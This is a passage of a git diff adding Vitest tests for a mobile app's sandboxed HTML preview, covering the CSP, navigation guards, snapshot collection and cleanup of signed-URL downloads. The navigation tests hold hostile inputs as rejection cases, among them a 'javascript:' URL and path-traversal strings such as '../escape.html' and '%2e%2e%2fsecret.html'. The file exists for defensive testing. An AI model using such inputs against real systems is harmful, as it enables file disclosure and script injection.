- expect(source).not.toMatch(/deleteResourceOssObject\(media\.ossKey\)/);
- // key 的来源:上传成功后、presign 之前同步回调。
- const media = readSource('src/session/remoteMedia.ts');
- expect(media).toContain('opts?.onOssKey?.(fetched.ossKey);');
- expect(media.indexOf('opts?.onOssKey?.(fetched.ossKey);'))
- .toBeLessThan(media.indexOf('const signed = await deps.presignGet('));
+ it('downloads stop on source mode, invisibility, background, and source identity changes', () => {
+ const hook = readSource('src/session/useHtmlSnapshot.ts');
+ expect(hook).toContain('if (!enabled || !foreground) return');
+ expect(hook).toContain('controller.abort()');
+ expect(hook).toContain('preview?.close()');
+ expect(hook).toContain('[absPath, enabled, foreground, prepare, epoch]');
+ expect(source).toContain("visible && richKind === 'html' && richView === 'rendered'");
});
it('markdown 与 HTML 共用同一套双态机(不再是 markdown 专用)', () => {
expect(source).toContain("const richKind = richTextKindOf(item.relPath)");
expect(source).toContain("useState<'rendered' | 'source'>(richKind ? 'rendered' : 'source')");
// 双态切换只在这两类文本上出现,其余仍恒为源码态。
- expect(source).toContain("const canRenderRich = richKind !== null && typeof state.content === 'string'");
+ expect(source).toContain("const canRenderRich = richKind === 'html' || (richKind !== null && typeof ready?.content === 'string')");
});
it('进 WebView 的判定必须吃 relPath(真实路径),不得吃 name(展示名)', () => {
diff --git a/apps/mobile/src/__tests__/fileWebViewTermination.test.tsx b/apps/mobile/src/__tests__/fileWebViewTermination.test.tsx
new file mode 100644
index 0000000000..e18db10762
--- /dev/null
+++ b/apps/mobile/src/__tests__/fileWebViewTermination.test.tsx
@@ -0,0 +1,85 @@
+// @vitest-environment jsdom
+import { act, createElement } from 'react';
+import { createRoot, type Root } from 'react-dom/client';
+import { afterEach, expect, it, vi } from 'vitest';
+import { PeerFileTransport } from '@/device-link/peerFileTransport';
+import { HtmlSnapshotReader } from '@/session/HtmlFileReader';
+import type { MobileHtmlPreview } from '@/session/mobileHtmlPreview';
+
+const state = vi.hoisted(() => ({
+ props: {} as Record<string, (...args: any[]) => void>,
+ mounts: 0,
+ unregister: vi.fn(),
+ install: vi.fn(),
+}));
+vi.mock('react-native', () => ({
+ View: ({ children }: { children: unknown }) => children,
+ StyleSheet: { create: (value: unknown) => value },
+ AppState: { currentState: 'active', addEventListener: () => ({ remove() {} }) },
+}));
+vi.mock('react-native-webview', async () => {
+ const { forwardRef, useEffect, useImperativeHandle } = await import('react');
+ return { WebView: forwardRef((props: Record<string, (...args: any[]) => void>, ref) => {
+ state.props = props;
+ useImperativeHandle(ref, () => ({ injectJavaScript() {} }));
+ useEffect(() => { state.mounts++; }, []);
+ return null;
+ }) };
+});
+vi.mock('expo-file-system', () => ({ Directory: class { exists = false; }, File: class {}, Paths: { cache: '/cache' } }));
+vi.mock('expo-crypto', () => ({ randomUUID: () => 'id' }));
+vi.mock('@/auth/AuthContext', () => ({ useAuth: () => ({ isAuthenticated: true, user: { id: 'a' }, accountGeneration: 1 }) }));
+vi.mock('@/device-link/DeviceLinkContext', () => ({ useDeviceLink: () => ({ connectionEpoch: 1, invoke: vi.fn() }) }));
+vi.mock('@/config/env', () => ({ DEVICE_LINK_API_BASE_URL: 'https://example.test', getActiveMobileSessionRealm: () => 'global' }));
+vi.mock('@/device-link/peerFileRegistry', () => ({
+ installPeerFileDownload: (...args: unknown[]) => { state.install(...args); return state.unregister; },
+ clearPeerMedia() {}, recordPeerMedia: vi.fn(),
+}));
+Object.assign(globalThis, { IS_REACT_ACT_ENVIRONMENT: true });
+let root: Root | undefined;
+afterEach(() => {
+ act(() => root?.unmount()); root = undefined;
+ state.mounts = 0; state.install.mockClear(); state.unregister.mockClear();
+});
+
+it.each(['onContentProcessDidTerminate', 'onRenderProcessGone'])('recreates peer transport after %s and ignores the old renderer', (event) => {
+ root = createRoot(document.createElement('div'));
+ act(() => root!.render(createElement(PeerFileTransport)));
+ act(() => state.props.onMessage({ nativeEvent: { data: '{"type":"ready"}' } }));
+ expect(state.install).toHaveBeenCalledTimes(1);
+ const old = state.props;
+ act(() => old[event]());
+ expect(state.unregister).toHaveBeenCalledTimes(1);
+ expect(state.mounts).toBe(2);
+ act(() => { old[event](); old.onMessage({ nativeEvent: { data: '{"type":"ready"}' } }); });
+ expect(state.mounts).toBe(2);
+ expect(state.install).toHaveBeenCalledTimes(1);
+ act(() => state.props.onMessage({ nativeEvent: { data: '{"type":"ready"}' } }));
+ expect(state.install).toHaveBeenCalledTimes(2);
+});
+
+it.each(['onContentProcessDidTerminate', 'onRenderProcessGone'])('routes snapshot %s to the existing error owner', (event) => {
+ root = createRoot(document.createElement('div'));
+ const onError = vi.fn();
+ const preview = { url: 'http://127.0.0.1:1234/index.html', documents: [] } as unknown as MobileHtmlPreview;
+ act(() => root!.render(createElement(HtmlSnapshotReader, { preview, onError })));
+ act(() => state.props[event]());
+ expect(onError).toHaveBeenCalledOnce();
+});
+
+
+it.each([false, true])('routes entry HTTP errors to retry without failing on sibling resources (onDemand=%s)', (onDemand) => {
+ root = createRoot(document.createElement('div'));
+ const onError = vi.fn();
+ const preview: MobileHtmlPreview = {
+ url: 'http://127.0.0.1:1234/token/',
+ documents: ['/report%20one.html'], onDemand, close: async () => {},
+ };
+ act(() => root!.render(createElement(HtmlSnapshotReader, { preview, onError })));
+ for (const path of ['image.png', 'style.css', 'other.js']) {
+ act(() => state.props.onHttpError({ nativeEvent: { url: `http://127.0.0.1:1234/${path}`, statusCode: 404 } }));
+ }
+ expect(onError).not.toHaveBeenCalled();
+ act(() => state.props.onHttpError({ nativeEvent: { url: 'http://127.0.0.1:1234/report%20one.html', statusCode: 502 } }));
+ expect(onError).toHaveBeenCalledOnce();
+});
diff --git a/apps/mobile/src/__tests__/htmlDirectorySnapshot.test.ts b/apps/mobile/src/__tests__/htmlDirectorySnapshot.test.ts
new file mode 100644
index 0000000000..b81cd3fc05
--- /dev/null
+++ b/apps/mobile/src/__tests__/htmlDirectorySnapshot.test.ts
@@ -0,0 +1,78 @@
+import { describe, expect, it, vi } from 'vitest';
+import { collectHtmlSnapshot, htmlSnapshotLocation, HTML_SNAPSHOT_MAX_BYTES, snapshotDocumentPaths } from '@/session/htmlDirectorySnapshot';
+import { interceptSnapshotNavigation } from '@/session/htmlNavigationPolicy';
+import { HTML_SNAPSHOT_CSP, withSnapshotHtmlCsp } from '@/session/htmlPreviewCsp';
+
+const entry = (relPath: string, type: 'file' | 'directory' = 'file', size = 1) => ({ name: relPath.split('/').pop()!, relPath, type, size });
+const signal = () => new AbortController().signal;
+
+describe('HTML directory snapshot', () => {
+ it('includes build outputs, nested navigation and root-relative assets while withholding hidden files', async () => {
+ const tree = { '': [entry('index.html'), entry('second.html'), entry('dist', 'directory'), entry('.env')], dist: [entry('dist/main.js')] };
+ const list = vi.fn(async (rel: string) => tree[rel as keyof typeof tree]);
+ const files = await collectHtmlSnapshot('index.html', list, signal());
+ expect(files.map((f) => f.relPath)).toEqual(['index.html', 'second.html', 'dist/main.js']);
+ expect(snapshotDocumentPaths(files)).toEqual(['/index.html', '/', '/second.html']);
+ });
+ it.each([
+ [entry('../escape.html')], [entry('index.html'), entry('index.html')],
+ [{ ...entry('index.html'), size: NaN }], [{ ...entry('index.html'), type: 'symlink' }],
+ [{ ...entry('index.html'), relPath: '/index.html' }],
+ ].map((bad) => ({ bad })))('rejects malformed or duplicated entries', async ({ bad }) => {
+ await expect(collectHtmlSnapshot('index.html', async () => bad, signal())).rejects.toThrow('PREVIEW_LIST_FAILED');
+ });
+ it('fails whole snapshots on missing entry and quota overflow, without truncation', async () => {
+ await expect(collectHtmlSnapshot('index.html', async () => [], signal())).rejects.toThrow('NOT_FOUND');
+ await expect(collectHtmlSnapshot('index.html', async () => [entry('index.html', 'file', HTML_SNAPSHOT_MAX_BYTES + 1)], signal())).rejects.toThrow('PREVIEW_TOO_LARGE');
+ await expect(collectHtmlSnapshot('index.html', async () => Array.from({ length: 2001 }, (_, i) => entry(String(i))), signal())).rejects.toThrow('PREVIEW_TOO_LARGE');
+ });
+ it('aborts after a pending listing without proceeding to another directory', async () => {
+ const controller = new AbortController();
+ const list = vi.fn(async () => { controller.abort(); return [entry('dist', 'directory')]; });
+ await expect(collectHtmlSnapshot('index.html', list, controller.signal)).rejects.toThrow();
+ expect(list).toHaveBeenCalledTimes(1);
+ });
+ it.each([
+ ['/tmp/site/index.html', '/tmp/site', 'index.html'],
+ ['C:\\site\\中文.htm', 'C:/site', '中文.htm'],
+ ['C:\\index.html', 'C:/', 'index.html'],
+ ['/index.html', '/', 'index.html'],
+ ])('preserves remote roots for %s', (path, root, name) => {
+ expect(htmlSnapshotLocation(path)).toEqual({ root, entry: name });
+ });
+});
+
+describe('snapshot navigation and policy', () => {
+ const initial = 'http://127.0.0.1:43123/__cindy/token';
+ const documents = ['/index.html', '/', '/second.html', '/%E4%B8%AD%E6%96%87.html'];
+ it.each(['/index.html', '/second.html?x=1#anchor', '/', '/%E4%B8%AD%E6%96%87.html'])('allows guarded local document %s', (path) => {
+ expect(interceptSnapshotNavigation('http://127.0.0.1:43123' + path, initial, documents)).toBe(true);
+ });
+ it.each(['https://example.org', 'http://127.0.0.1:43124/index.html', 'file:///tmp/index.html', 'about:blank', 'javascript:alert(1)', 'http://127.0.0.1:43123/image.svg', 'http://[email protected]:43123/index.html'])('rejects %s', (url) => {
+ expect(interceptSnapshotNavigation(url, initial, documents)).toBe(false);
+ });
+ it('guards each HTML before author scripts while preserving module and asset references', () => {
+ const html = '<script type="module" src="dist/main.js"></script><a href="second.html">中文</a>';
+ const guarded = withSnapshotHtmlCsp(html);
+ expect(guarded.endsWith(html)).toBe(true);
+ expect(guarded.indexOf('RTCPeerConnection')).toBeLessThan(guarded.indexOf('src="dist/main.js"'));
+ expect(HTML_SNAPSHOT_CSP).toContain("connect-src 'self'");
+ expect(HTML_SNAPSHOT_CSP).toContain("frame-src 'none'");
+ expect(HTML_SNAPSHOT_CSP).not.toMatch(/https?:|\*/);
+ });
+});
+
+
+describe('on-demand navigation', () => {
+ const initial = 'http://127.0.0.1:43123/__cindy/token';
+ it.each(['/index.html', '/nested/second.htm?x=1#anchor', '/', '/nested/', '/%E4%B8%AD%E6%96%87.html'])(
+ 'allows guarded pages without a directory manifest: %s', (path) => {
+ expect(interceptSnapshotNavigation('http://127.0.0.1:43123' + path, initial, [], true)).toBe(true);
+ });
+ it.each(['https://example.org/index.html', 'file:///tmp/index.html', 'http://127.0.0.1:43124/index.html',
+ 'http://127.0.0.1:43123/image.svg', 'http://127.0.0.1:43123/.hidden/index.html',
+ 'http://127.0.0.1:43123/%2e%2e%2fsecret.html', 'http://[email protected]:43123/index.html'])(
+ 'rejects unguarded navigation: %s', (url) => {
+ expect(interceptSnapshotNavigation(url, initial, [], true)).toBe(false);
+ });
+});
diff --git a/apps/mobile/src/__tests__/htmlPreviewCsp.test.ts b/apps/mobile/src/__tests__/htmlPreviewCsp.test.ts
index df98d0da41..29370a5ac5 100644
--- a/apps/mobile/src/__tests__/htmlPreviewCsp.test.ts
+++ b/apps/mobile/src/__tests__/htmlPreviewCsp.test.ts
@@ -7,9 +7,14 @@ import { readFileSync } from 'node:fs';
import { resolve } from 'node:path';
import { describe, expect, it } from 'vitest';
-import { HTML_PREVIEW_CSP, withHtmlPreviewCsp } from '@/session/htmlPreviewCsp';
+import { HTML_PREVIEW_CSP, HTML_SNAPSHOT_CSP, withHtmlPreviewCsp } from '@/session/htmlPreviewCsp';
describe('HTML_PREVIEW_CSP(策略内容)', () => {
+ it('blocks workers explicitly even when snapshot scripts permit self', () => {
+ expect(HTML_PREVIEW_CSP).toContain("worker-src 'none'");
+ expect(HTML_SNAPSHOT_CSP).toContain("worker-src 'none'");
+ expect(HTML_SNAPSHOT_CSP).toContain("script-src 'self' 'unsafe-inline' data:");
+ });
it('默认全拒,网络出口关闭', () => {
expect(HTML_PREVIEW_CSP).toContain("default-src 'none'");
expect(HTML_PREVIEW_CSP).toContain("connect-src 'none'");
@@ -90,7 +95,7 @@ describe('withHtmlPreviewCsp(自带前导段,不定位作者 doctype)', () => {
describe('前导段剥离设备与 WebRTC 能力(review P0)', () => {
const prolog = withHtmlPreviewCsp('<html><body>x</body></html>');
const cspSource = readFileSync(
- resolve(process.cwd(), 'src/session/htmlPreviewCsp.ts'),
+ resolve(process.cwd(), '../../packages/maker-shared/src/htmlPreviewCsp.ts'),
'utf8',
).replace(/\r\n/g, '\n');
const OPEN = '<script>';
@@ -210,7 +215,7 @@ describe('渲染载体的安全接线(源码级守卫)', () => {
'utf8',
).replace(/\r\n/g, '\n');
const cspSource = readFileSync(
- resolve(process.cwd(), 'src/session/htmlPreviewCsp.ts'),
+ resolve(process.cwd(), '../../packages/maker-shared/src/htmlPreviewCsp.ts'),
'utf8',
).replace(/\r\n/g, '\n');
@@ -264,70 +269,33 @@ describe('资源取件的安全接线(源码级守卫)', () => {
'utf8',
);
- it('预签名地址不得回填进页面:必须先转成 data: URI', () => {
- // 取件返回的是 data: URI,不是 presign URL(review P1)。
- expect(pageSource).toContain('downloadRemoteMediaAsDataUri(');
- expect(pageSource).toContain('HTML_RESOURCE_MAX_BYTES');
- // fetchResourceDataUri 必须返回 downloadRemoteMediaAsDataUri 的结果,
- // 不能直接把 fetchRemoteAbsFileToUrl 的 URL 交出去。
- expect(pageSource).not.toMatch(/fetchResourceDataUri[\s\S]{0,400}?return url;/);
- });
+ const snapshotSource = readFileSync(resolve(process.cwd(), 'src/session/mobileHtmlPreview.ts'), 'utf8');
- it('下载前先按 media.size 拒掉超限资源(别先拉几 GB 再看)', () => {
- // downloadRemoteMediaAsDataUri 是先落盘再看 file.size;media:fetch 上限 2 GB、批量取件
- // 4 路并发,不前置判断的话一份不可信产物能打出数 GB 流量与临时磁盘占用(review P1)。
- const body = /const fetchResourceDataUri = useCallback\(([\s\S]*?)\n \);/.exec(pageSource);
- expect(body, '未找到 fetchResourceDataUri 实现').not.toBeNull();
- // 上限是「整页剩余预算收窄出来的 maxBytes」,并夹在 HTML_RESOURCE_MAX_BYTES 以内。
- expect(body![1]).toContain('if (media.size > maxBytes) return');
- expect(body![1]).toContain('HTML_RESOURCE_MAX_BYTES)');
- // 前置判断必须在下载之前。
- expect(body![1].indexOf('media.size > maxBytes'))
- .toBeLessThan(body![1].indexOf('downloadRemoteMediaAsDataUri('));
- // 下载后那道判断保留(size 缺失 / 谎报时的第二道 fail-closed)。
- const dl = readFileSync(
- resolve(process.cwd(), 'src/session/remoteMediaDiskCacheExpo.ts'),
- 'utf8',
- ).replace(/\r\n/g, '\n');
- expect(dl).toContain('size > maxBytes');
+ it('downloads signed URLs into private files before publishing every guarded HTML', () => {
+ expect(snapshotSource).toContain('fetchRemoteAbsFileOnce(');
+ expect(snapshotSource).toContain('createDownloadResumable(media.url, destination.uri');
+ expect(snapshotSource).toContain('destination.write(withSnapshotHtmlCsp(text))');
+ expect(snapshotSource).toContain('return { url, documents: snapshotDocumentPaths(files), close }');
+ expect(snapshotSource).not.toContain('return media.url');
});
- it('取件必须把 baseDir / maxBytes 交给被控端强制,不能只在手机侧判', () => {
- // 手机侧的两道判断都晚于「被控端 stat → 上传 OSS(SSH 还先整份拉进 Desktop 缓存)」,
- // 词法 `..` 校验又只保证词法子树、绕不过产物目录里的软链(review P1 security / P2)。
- const body = /const fetchResourceDataUri = useCallback\(([\s\S]*?)\n \);/.exec(pageSource);
- expect(body, '未找到 fetchResourceDataUri 实现').not.toBeNull();
- // 约束必须随 fetchRemoteAbsFileOnce 一起下发(第 5 个参数)。
- expect(body![1]).toMatch(/baseDir: limits\.baseDir/);
- expect(body![1]).toMatch(/maxBytes\s*\}/);
-
- // 被控端侧:URL 构造要带这两个参数。
- const gallery = readFileSync(
- resolve(process.cwd(), 'src/session/fileBrowserGallery.ts'),
- 'utf8',
- ).replace(/\r\n/g, '\n');
+ it('checks exact manifest size before and after download and bounds upload on the controlled device', () => {
+ expect(snapshotSource).toContain('if (media.size !== file.size)');
+ expect(snapshotSource.indexOf('if (media.size !== file.size)')).toBeLessThan(snapshotSource.indexOf('createDownloadResumable(media.url'));
+ expect(snapshotSource).toContain('destination.size !== file.size');
+ expect(snapshotSource).toContain('baseDir: root, maxBytes: Math.max(1, file.size)');
+ const gallery = readFileSync(resolve(process.cwd(), 'src/session/fileBrowserGallery.ts'), 'utf8');
expect(gallery).toContain('&baseDir=');
expect(gallery).toContain('&maxBytes=');
});
- it('取件产生的 OSS 对象必须回收,且失败路径也删', () => {
- // 每个资源都新建一个 OSS 对象,不删的话一页最多遗留 32 个、反复进出还会累积。
- expect(pageSource).toContain('const deleteResourceOssObject = useCallback');
+ it('collects every upload key before presigning and cleans successful and failed downloads', () => {
+ expect(snapshotSource).toContain('const uploaded = new Set<string>()');
+ expect(snapshotSource).toContain('(key) => uploaded.add(key)');
+ expect(snapshotSource).toContain('finally { for (const key of uploaded) deps.deleteOssObject(key); }');
expect(pageSource).toContain("method: 'DELETE'");
- // 用带 ossKey 且不进共享缓存的一次性取件 —— 只回 url 的那个拿不到 key,
- // 且对象删掉后缓存命中会回死 URL。
- expect(pageSource).toContain('fetchRemoteAbsFileOnce(');
- // 删除必须在 finally 里:下载失败 / 超限同样要回收(失败路径最容易漏)。
- //
- // 回收对象取自 onOssKey 累加的集合,**不是** media.ossKey(review P1 第二轮):
- // presign 失败时取件在返回 media 之前就抛错,围绕 media 写的 finally 不会执行;
- // 瞬断重试还会重复上传、产出不同的 key。
- const body = /const fetchResourceDataUri = useCallback\(([\s\S]*?)\n \);/.exec(pageSource);
- expect(body, '未找到 fetchResourceDataUri 实现').not.toBeNull();
- expect(body![1]).toMatch(/finally\s*\{[\s\S]*?for \(const ossKey of uploadedKeys\) deleteResourceOssObject\(ossKey\)/);
- expect(body![1]).not.toContain('deleteResourceOssObject(media.ossKey)');
- // 集合必须在 try 之外声明,否则取件抛错时 finally 拿不到它。
- expect(body![1]).toMatch(/const uploadedKeys = new Set<string>\(\);\s*\n\s*try \{/);
+ const media = readFileSync(resolve(process.cwd(), 'src/session/remoteMedia.ts'), 'utf8');
+ expect(media.indexOf('opts?.onOssKey?.(fetched.ossKey);')).toBeLessThan(media.indexOf('const signed = await deps.presignGet('));
});
it('SSH 会话的资源取件必须带会话上下文', () => {
diff --git a/apps/mobile/src/__tests__/mobileHtmlPreview.test.ts b/apps/mobile/src/__tests__/mobileHtmlPreview.test.ts
new file mode 100644
index 0000000000..fa08a09030
--- /dev/null
+++ b/apps/mobile/src/__tests__/mobileHtmlPreview.test.ts
@@ -0,0 +1,351 @@
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+const mocks = vi.hoisted(() => ({
+ contents: new Map<string, Uint8Array>(),
+ removed: [] as string[],
+ remote: vi.fn(),
+ start: vi.fn(),
+ stop: vi.fn(),
+ download: vi.fn(),
+ pause: vi.fn(),
+ demand: false,
+ startOnDemand: vi.fn(),
+ resolveRequest: vi.fn(),
+ listeners: new Map<string, (event: { token: string; id: string; path?: string }) => void>(),
+}));
+vi.mock("expo-crypto", () => ({
+ getRandomBytes: () => new Uint8Array(24).fill(1),
+}));
+vi.mock("../../modules/cindy-html-preview/src/CindyHtmlPreviewModule", () => ({
+ default: {
+ start: mocks.start, stop: mocks.stop,
+ get startOnDemand() { return mocks.demand ? mocks.startOnDemand : undefined; },
+ get resolveRequest() { return mocks.demand ? mocks.resolveRequest : undefined; },
+ addListener: (event: string, listener: (event: { token: string; id: string; path?: string }) => void) => {
+ mocks.listeners.set(event, listener);
+ return { remove: () => mocks.listeners.delete(event) };
+ },
+ },
+}));
+vi.mock("@/session/remoteAbsFileFetch", () => ({
+ fetchRemoteAbsFileOnce: mocks.remote,
+}));
+vi.mock("@/device-link/remoteRetry", () => ({
+ withTransientRemoteRetry: (operation: () => unknown) => operation(),
+}));
+vi.mock("expo-file-system", () => {
+ class Directory {
+ uri: string;
+ constructor(...parts: (string | { uri: string })[]) {
+ this.uri = parts
+ .map((p) => (typeof p === "string" ? p : p.uri))
+ .join("/");
+ }
+ create() {}
+ delete() {
+ mocks.removed.push(this.uri);
+ for (const key of mocks.contents.keys())
+ if (key.startsWith(this.uri + "/")) mocks.contents.delete(key);
+ }
+ }
+ class File extends Directory {
+ get size() {
+ return mocks.contents.get(this.uri)?.byteLength ?? 0;
+ }
+ async bytes() {
+ return mocks.contents.get(this.uri);
+ }
+ write(text: string | Uint8Array) {
+ mocks.contents.set(
+ this.uri,
+ typeof text === "string" ? new TextEncoder().encode(text) : text,
+ );
+ }
+ }
+ return { Directory, File, Paths: { cache: "file:///cache", availableDiskSpace: 8 * 1024 * 1024 * 1024 } };
+});
+vi.mock("expo-file-system/legacy", () => ({
+ createDownloadResumable: (url: string, destination: string) => ({
+ downloadAsync: () => mocks.download(url, destination),
+ pauseAsync: mocks.pause,
+ }),
+}));
+
+import { prepareMobileHtmlPreview } from "@/session/mobileHtmlPreview";
+import type { MobileMakerTransport } from "@/device-link/mobileMakerTransport";
+
+const html = "<h1>中文</h1>";
+const bytes = new TextEncoder().encode(html);
+const entry = (path: string) => ({
+ name: path.split("/").pop(),
+ relPath: path,
+ size: bytes.length,
+ type: "file",
+});
+function setup() {
+ const listDir = vi
+ .fn()
+ .mockResolvedValue([entry("index.html"), entry("second.html")]);
+ const caps = vi
+ .fn()
+ .mockResolvedValue({ ok: true, completeDirectoryListing: true });
+ const deps = {
+ maker: {
+ fileBrowser: { caps, listDir },
+ } as unknown as MobileMakerTransport,
+ deviceId: "device-a",
+ openLink: vi.fn().mockResolvedValue(undefined),
+ presignGet: vi.fn(),
+ deleteOssObject: vi.fn(),
+ };
+ return { deps, listDir, caps };
+}
+beforeEach(() => {
+ vi.resetAllMocks();
+ mocks.demand = false;
+ mocks.listeners.clear();
+ mocks.startOnDemand.mockResolvedValue("http://127.0.0.1:43123/__cindy/token");
+ mocks.resolveRequest.mockResolvedValue(true);
+ mocks.contents.clear();
+ mocks.removed.length = 0;
+ mocks.start.mockResolvedValue("http://127.0.0.1:43123/__cindy/token");
+ mocks.stop.mockResolvedValue(undefined);
+ mocks.pause.mockResolvedValue(undefined);
+ mocks.remote.mockImplementation(async (_deps, path, _ssh, onKey) => {
+ onKey("key:" + path);
+ return { url: "https://signed.invalid/file", size: bytes.length };
+ });
+ mocks.download.mockImplementation(async (_url, destination) => {
+ mocks.contents.set(destination, bytes);
+ return { status: 200 };
+ });
+});
+
+describe("mobile HTML preview preparation", () => {
+ it("serves inline HTML and an empty CSS file without an HTTP download", async () => {
+ const { deps, listDir } = setup();
+ listDir.mockResolvedValue([
+ entry("index.html"),
+ { ...entry("empty.css"), size: 0 },
+ ]);
+ mocks.remote.mockImplementation(async (_deps, file) => ({
+ url: "data:text/plain;base64,",
+ size: file.endsWith(".css") ? 0 : bytes.length,
+ inlineBase64: file.endsWith(".css")
+ ? ""
+ : Buffer.from(bytes).toString("base64"),
+ }));
+ const preview = await prepareMobileHtmlPreview(
+ "/site/index.html",
+ deps,
+ new AbortController().signal,
+ );
+ expect(mocks.download).not.toHaveBeenCalled();
+ expect(deps.deleteOssObject).not.toHaveBeenCalled();
+ expect(
+ [...mocks.contents.values()].some((content) => content.length === 0),
+ ).toBe(true);
+ await preview.close();
+ });
+ it("downloads original files once, guards every page and never exposes signed URLs", async () => {
+ const { deps, listDir } = setup();
+ const preview = await prepareMobileHtmlPreview(
+ "/site/index.html",
+ deps,
+ new AbortController().signal,
+ );
+ expect(listDir).toHaveBeenCalledWith("/site", "", {
+ includeIgnored: true,
+ maxEntries: 2000,
+ });
+ expect(mocks.remote).toHaveBeenCalledWith(
+ deps,
+ "/site/index.html",
+ undefined,
+ expect.any(Function),
+ { baseDir: "/site", maxBytes: bytes.length },
+ expect.any(AbortSignal),
+ );
+ expect(mocks.start).toHaveBeenCalledTimes(1);
+ for (const content of mocks.contents.values()) {
+ const document = new TextDecoder().decode(content);
+ expect(document).toContain("Content-Security-Policy");
+ expect(document).toContain("RTCPeerConnection");
+ expect(document.endsWith(html)).toBe(true);
+ expect(document).not.toContain("signed.invalid");
+ }
+ expect(deps.deleteOssObject).toHaveBeenCalledTimes(2);
+ expect(preview.documents).toEqual(["/index.html", "/", "/second.html"]);
+ await preview.close();
+ await preview.close();
+ expect(mocks.stop).toHaveBeenCalledTimes(1);
+ expect(mocks.contents.size).toBe(0);
+ });
+ it("rejects old peers before enumeration or download", async () => {
+ const { deps, caps, listDir } = setup();
+ caps.mockResolvedValue({ ok: true });
+ await expect(
+ prepareMobileHtmlPreview(
+ "/site/index.html",
+ deps,
+ new AbortController().signal,
+ ),
+ ).rejects.toThrow("COMPLETE_DIRECTORY_LISTING_UNSUPPORTED");
+ expect(listDir).not.toHaveBeenCalled();
+ expect(mocks.remote).not.toHaveBeenCalled();
+ });
+ it("retains the SSH session workdir for listing and SSH identity for fetching", async () => {
+ const { deps, listDir } = setup();
+ listDir.mockResolvedValue([entry("site/index.html")]);
+ const ssh = {
+ workdir: "/project",
+ remoteHostId: "ssh-a",
+ sessionId: "session-a",
+ };
+ const preview = await prepareMobileHtmlPreview(
+ "/project/site/index.html",
+ { ...deps, ssh },
+ new AbortController().signal,
+ );
+ expect(listDir).toHaveBeenCalledWith(
+ "/project",
+ "site",
+ expect.objectContaining({ includeIgnored: true }),
+ );
+ expect(mocks.remote.mock.calls[0][2]).toEqual(ssh);
+ await preview.close();
+ });
+ it.each(["presign", "download", "changed", "native"])(
+ "cleans failed %s preparations without publishing partial snapshots",
+ async (failure) => {
+ const { deps } = setup();
+ if (failure === "presign")
+ mocks.remote.mockImplementation(async (_d, _p, _s, onKey) => {
+ onKey("first");
+ onKey("retried");
+ throw new Error("presign");
+ });
+ if (failure === "download")
+ mocks.download.mockRejectedValue(new Error("download"));
+ if (failure === "changed")
+ mocks.download.mockImplementation(async (_u, destination) => {
+ mocks.contents.set(destination, new Uint8Array(1));
+ return { status: 200 };
+ });
+ if (failure === "native")
+ mocks.start.mockRejectedValue(new Error("native"));
+ await expect(
+ prepareMobileHtmlPreview(
+ "/site/index.html",
+ deps,
+ new AbortController().signal,
+ ),
+ ).rejects.toThrow();
+ expect(deps.deleteOssObject).toHaveBeenCalled();
+ if (failure === "presign")
+ expect(deps.deleteOssObject.mock.calls).toEqual([
+ ["first"],
+ ["retried"],
+ ]);
+ if (failure !== "native") expect(mocks.start).not.toHaveBeenCalled();
+ expect(mocks.removed).toHaveLength(1);
+ expect(mocks.contents.size).toBe(0);
+ },
+ );
+ it("cancels pending downloads and closes a listener if cancellation races its startup", async () => {
+ const { deps } = setup();
+ const controller = new AbortController();
+ mocks.start.mockImplementation(async () => {
+ controller.abort();
+ return "http://127.0.0.1:43123/";
+ });
+ await expect(
+ prepareMobileHtmlPreview("/site/index.html", deps, controller.signal),
+ ).rejects.toThrow();
+ expect(mocks.stop).toHaveBeenCalledOnce();
+ expect(mocks.contents.size).toBe(0);
+ });
+});
+
+
+describe("on-demand mobile HTML previews", () => {
+ const token = "01".repeat(24);
+ const request = (id: string, path: string) => mocks.listeners.get("resourceRequest")!({ token, id, path });
+ beforeEach(() => { mocks.demand = true; });
+
+ it("opens without listing or downloading, then fetches only requested resources", async () => {
+ const { deps, listDir, caps } = setup();
+ const preview = await prepareMobileHtmlPreview("/site/index.html", deps, new AbortController().signal);
+ expect(preview.onDemand).toBe(true);
+ expect(listDir).not.toHaveBeenCalled();
+ expect(caps).not.toHaveBeenCalled();
+ expect(mocks.remote).not.toHaveBeenCalled();
+ request("a", "index.html");
+ await vi.waitFor(() => expect(mocks.resolveRequest).toHaveBeenCalledWith(token, "a", "0", "text/html", 200));
+ expect(mocks.remote).toHaveBeenCalledWith(deps, "/site/index.html", undefined, expect.any(Function),
+ { baseDir: "/site", maxBytes: 2 * 1024 * 1024 * 1024 }, expect.any(AbortSignal));
+ expect(new TextDecoder().decode([...mocks.contents.values()][0])).toContain("Content-Security-Policy");
+ expect(deps.deleteOssObject).toHaveBeenCalledOnce();
+ await preview.close();
+ expect(mocks.listeners.size).toBe(0);
+ expect(mocks.contents.size).toBe(0);
+ });
+
+ it("reuses a materialized path instead of fetching cache-busted repeats", async () => {
+ const { deps } = setup();
+ const preview = await prepareMobileHtmlPreview("/site/index.html", deps, new AbortController().signal);
+ request("a", "index.html");
+ await vi.waitFor(() => expect(mocks.resolveRequest).toHaveBeenCalledWith(token, "a", "0", "text/html", 200));
+ request("b", "index.html");
+ await vi.waitFor(() => expect(mocks.resolveRequest).toHaveBeenCalledWith(token, "b", "0", "text/html", 200));
+ expect(mocks.remote).toHaveBeenCalledOnce();
+ await preview.close();
+ });
+
+ it("isolates missing resources and refuses paths outside the preview root", async () => {
+ const { deps } = setup();
+ const preview = await prepareMobileHtmlPreview("/site/index.html", deps, new AbortController().signal);
+ mocks.remote.mockRejectedValueOnce(new Error("NOT_FOUND"));
+ request("missing", "missing.js");
+ await vi.waitFor(() => expect(mocks.resolveRequest).toHaveBeenCalledWith(token, "missing", "", "", 404));
+ request("escape", "../secret.html");
+ await vi.waitFor(() => expect(mocks.resolveRequest).toHaveBeenCalledWith(token, "escape", "", "", 404));
+ expect(mocks.remote).toHaveBeenCalledOnce();
+ request("page", "second.html");
+ await vi.waitFor(() => expect(mocks.resolveRequest).toHaveBeenCalledWith(token, "page", "1", "text/html", 200));
+ await preview.close();
+ });
+
+ it("cancels closed requests before publishing and drains cleanup before removing its directory", async () => {
+ const { deps } = setup();
+ let finish!: (value: { status: number }) => void;
+ mocks.download.mockImplementation((_url, destination) => {
+ mocks.contents.set(destination, bytes);
+ return new Promise((resolve) => { finish = resolve; });
+ });
+ const preview = await prepareMobileHtmlPreview("/site/index.html", deps, new AbortController().signal);
+ request("active", "index.html");
+ await vi.waitFor(() => expect(mocks.download).toHaveBeenCalledOnce());
+ request("queued", "second.html");
